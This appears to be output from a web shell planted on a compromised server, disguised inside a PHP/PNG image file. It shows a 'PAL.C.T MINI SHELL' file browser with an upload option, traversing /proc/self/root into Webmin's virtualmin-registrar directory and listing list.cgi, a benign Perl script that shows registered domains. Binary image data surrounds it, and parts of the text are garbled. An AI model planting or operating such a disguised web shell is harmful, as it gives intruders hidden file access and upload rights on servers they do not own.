php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/virtualmin-registrar/
upload
files >> //proc/self/root/usr/libexec/webmin/virtualmin-registrar/list.cgi

#!/usr/bin/perl
# Show a list of registered domains accessible to the current user

require 'virtualmin-registrar-lib.pl';
&ReadParse();

# Find the domains
@doms = grep { $_->{$module_name} &&
	       &virtual_server::can_edit_domain($_) }
	     &virtual_server::list_domains();

# Get relevant accounts
@accounts = &list_registrar_accounts();
if ($in{'id'}) {
	# Just one account
	@accounts = grep { $_->{'id'} eq $in{'id'} } @accounts;
	}

&ui_print_header($in{'id'} ? $accounts[0]->{'desc'} : undef,
		 $text{'list_title'}, "");

# Show each domain, with registration info
@table = ( );
foreach $d (@doms) {
	$url = &virtual_server::can_config_domain($d) ?
		"../virtual-server/edit_domain.cgi?dom=$d->{'id'}" :
		"../virtual-server/view_domain.cgi?dom=$d->{'id'}";
	($account) = grep { $_->{'id'} eq $d->{'registrar_account'} }
			  @accounts;
	next if (!$account);
	$rfunc = "type_".$account->{'registrar'}."_desc";
	$dname = &virtual_server::show_domain_name($d);

	# Get expiry date, if possible
	$efunc = "type_".$account->{'registrar'}."_get_expiry";
	$expiry = undef;
	if (defined(&$efunc)) {
		($ok, $expiry) = &$efunc($account, $d);
		$expiry = undef if (!$ok);
		}
	push(@table, [
		"<a href='$url'>$dname</a>",
		$account ? ( &$rfunc($account),
			     $account->{'desc'} )
			 : ( "None", "None" ),
		$d->{'registrar_id'},
		$expiry ? &make_date($expiry, 1) : undef,
		]);
	}
print &ui_columns_table(
	[ $text{'list_dom'}, $text{'list_registrar'},
	  $text{'list_account'}, $text{'list_id'},
	  $text{'list_expiry'}, ],
	100, \@table, undef, 0, undef,
	$in{'id'} ? $text{'list_none2'} : $text{'list_none'});

&ui_print_footer("/", $text{'index'});
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`